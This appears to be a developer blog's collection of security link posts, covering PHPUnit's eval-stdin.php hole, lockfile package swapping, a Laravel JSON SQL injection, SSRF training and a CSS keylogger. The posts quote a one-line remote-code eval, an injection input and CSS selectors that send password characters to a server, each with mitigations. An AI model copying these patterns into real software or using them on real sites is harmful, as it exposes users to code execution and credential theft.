The Lava Lamps That Help Keep The Internet Secure

At the headquarters of Cloudflare, in San Francisco, there’s a wall of lava lamps: the Entropy Wall. They’re used to generate random numbers and keep a good bit of the internet secure: here’s how.

How geeky! 🤩

PHPUnit: A Security Risk?

The author of PHPUnit was a bit surprised when he received a mail stating that PHPUnit was a security risk and hackers could remotely execute PHP code through a file named eval-stdin.php that ships used to ship with PHPUnit.

// eval-stdin.php
eval ('?>'. \file_get_contents('php://input'));

Even though the eval-stdin.php file itself indeed was vulnerable, it never should have been actively exploitable because:

  • PHPUnit is a dev dependency, and should never be installed in production.
  • One should never make their vendor folder publicly accessible. If it is placed in the wwwroot, use .htaccess or the like to prevent direct access to it.

Eventually a fix landed in PHPUnit, accompanied by this nice commit message:

This check should not be required ... yet here it is.

If you upload PHPUnit to a production webserver then your deployment process is broken.

If your vendor/ directory is publicly accessible on your webserver then your deployment process is broken.

*sigh*

PHPUnit: A Security Risk? →

Beware when merging Pull Requests with a changed lockfile

When watching a diff that contains a lockfile (say: a yarn.lock for example) on GitHub, GitHub doesn’t always show the differences (see screenshot above) as the changes in such files tend to be quite big. And even if it were to show the changes, does one really take a close look into it? With this in mind, Liran Tal started playing around to create a vector of attack using those lock files.

Take this diff for example:

What becomes clear when you look closer, is that I replaced the original ms npm package to resolve it with my own version, which is stored in my GitHub repository. I should have gotten it from the official npm registry, just as was originally set in the lockfile of the project.

When this pull request gets merged, I inject my malicious version of [email protected] into the code in order to control its behavior during runtime.

In this way, I could introduce a backdoor, alter the logic of the ms module or I could run some postinstall scripts.

To prevent such commits from being merged, you can resort to lockfile-lint which will warn you for such issues.

As an end-user it’s wise to run npm install with --ignore-scripts.

Why npm lockfiles can be a security blindspot for injecting malicious modules →

Princesses make terrible passwords

From the Firefox Blog:

When the Disney+ streaming service rolled out, millions of people flocked to set up accounts. And within a week, thousands of poor unfortunate souls reported that their Disney passwords were hacked. According to media reports, some Disney+ account holders have lost their account access while hackers have sold their logins online.

Turns out a lot of people used one of Disney’s characters their name as their password, which is not the brightest idea.

Princesses make terrible passwords →

Learn about security by hacking a fake bank using a real hacking method

Cool interactive site showing your how to perform a Server Side Request Forgery hack, based on a true incident:

The following interactive tutorial is a reconstruction of Capital One’s data breach incident that exposed the records of almost 106 million customers.

Paige Thompson is accused of breaking into a Capital One server and gaining access to 140,000 Social Security numbers, 1 million Canadian Social Insurance numbers and 80,000 bank account numbers.

To all developers: As always, beware when processing user input …

Contra – Interactive Application Security Training →

Via Jesse

Unsafe SQL functions in Laravel

Recently the folks from Spatie released a security update for their laravel-query-builder package. Turns out it was vulnerable to SQL Injection.

At the core of the vulnerability is the fact that Laravel offers a shorthand for querying only certain fields of JSON data, but that these do not get escaped when converted to a json_extract function.

Brent has a detailed writeup on this:

Instead of manually writing json_extract, we can use the simplified -> syntax, which Laravel will convert to the correct SQL statement.

Blog::query()
    ->addSelect('title->en');
SELECT json_extract(`title`, '$."en"') FROM blogs;

Be careful though: Laravel won’t do any escaping during this conversion.

If you were to change title->en – which could come from a URL or user input – to title->en'#, you’re in …

Thankfully by now a fix authored by Brent has landed in Laravel 5.8.11 🙂

Unsafe SQL functions in Laravel →
An important security release for laravel-query-builder →

The curious case of the Raspberry Pi in the network closet

Christian Haschek:

Last week I got a message from a co-worker notifying me there was a Raspberry Pi connected to our network.

I asked my IT colleagues and they were as baffled as I was. I heard of people getting paid to put things like this in places they shouldn’t and for this reason I was very interested in finding out what it actually does.

This reads like an episode of Mr. Robot … 😱

The curious case of the Raspberry Pi in the network closet →

The problem with usernames

In “Let’s talk about usernames” James Bennett – author of django-registration – digs deeper into an at first seemingly simple thing such as usernames and how to keep ‘m safe and unique.

And no, you can’t make it by just doing a a simple comparison. You’ll have to think of more than that if you want to do it good:

  • Casing: John_Doe vs. JOHN_DOE
  • Homographs: а (U+0430 CYRILLIC SMALL LETTER A) vs. a (U+0061 LATIN SMALL LETTER A)
  • Reserved words (especially when used in e-mail addresses and (sub)domains): Think of admin and hostmaster
  • Reserved words (especially when used in URLs): Think of login, register, and even keybase.txt
  • Confusables: paypal vs. paypa1
  • Misspellings
  • Non-ASCII Characters: ç vs. c
  • …

Let’s talk about usernames →

(via Matthew)

To tackle the Non-ASCII Characters in JavaScript, Lea Verou recently tweeted this nice trick, using String.protototype.normalize:

'céçile'.normalize("NFD").replace(/[\u0300-\u036f]/g, "");
// ~> cecile

CSS Keylogger (and why you shouldn’t worry about it)

Leveraging CSS attribute selectors it – in theory – is possible to write a keylogger in pure CSS. The selector below for example targets all input[type="password"] elements whose last character is an a:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

The theory goes that whenever a user presses the a character inside an input[type="password"], a request to http://localhost:3000/a will be made, thus leaving a breadcrumb trail in some server log for an admin to scoop up and reassemble. Duplicate the selector above for all possible characters, and you’ll see the password appear in your server logs per keystroke.

I see many people on Twitter freaking out because of this (what if it’s in a WordPress Theme you’ve installed?!), yet I don’t really worry about it as in practice this doesn’t work (tested with latest Firefox and Chrome on macOS):

  1. It only works with an initial value being set on an input, and not per key press nor after blurring the field.
  2. (Following up on 1) It will only catch the last character of a password when its being prefilled in the value attribute.
  3. It’s not triggered for values that have been autocompleted by the browser’s credentials manager / your password manager of choice.
  4. It can’t handle repeat characters, as the browser won’t re-request the background image in that case (unless you add some cache preventing headers on the receiving end)
  5. Due to parallelism it’s not guaranteed for the requests to be received by the server in the order they were typed in.
  6. What about mouse clicks in the password field (to change position) and the use of arrow keys / backspace?

Above that you can easily prevent it on your site by setting the proper Content Security Policy.

# UPDATE 2018.02.22: As Robin below and Mathias online detailed it can give issues when using two way databinding which tends to update the value attribute after each keypress (e.g. Think of React re-rendering after changing state) … but in that case it still is no “CSS (only) keylogger”.

Other attempts such as Keylogger using webfont with single character unicode-range (demo here) are getting closer, yet still don’t result in pure CSS based keylogger, as it can’t handle repeated characters.

So no worries there, CSS itself is still safe. It’s only when leveraged with another technology (JavaScript) that it can potentially leak data.

And again, you can still prevent it in that case too: Content Security Policy

As you were soldiers, carry on …

Did this help you out? Like what you see?
Consider donating.

I don’t run ads on my blog nor do I do this for profit. A donation however would always put a smile on my face though. Thanks!

☕️ Buy me a Coffee ($3)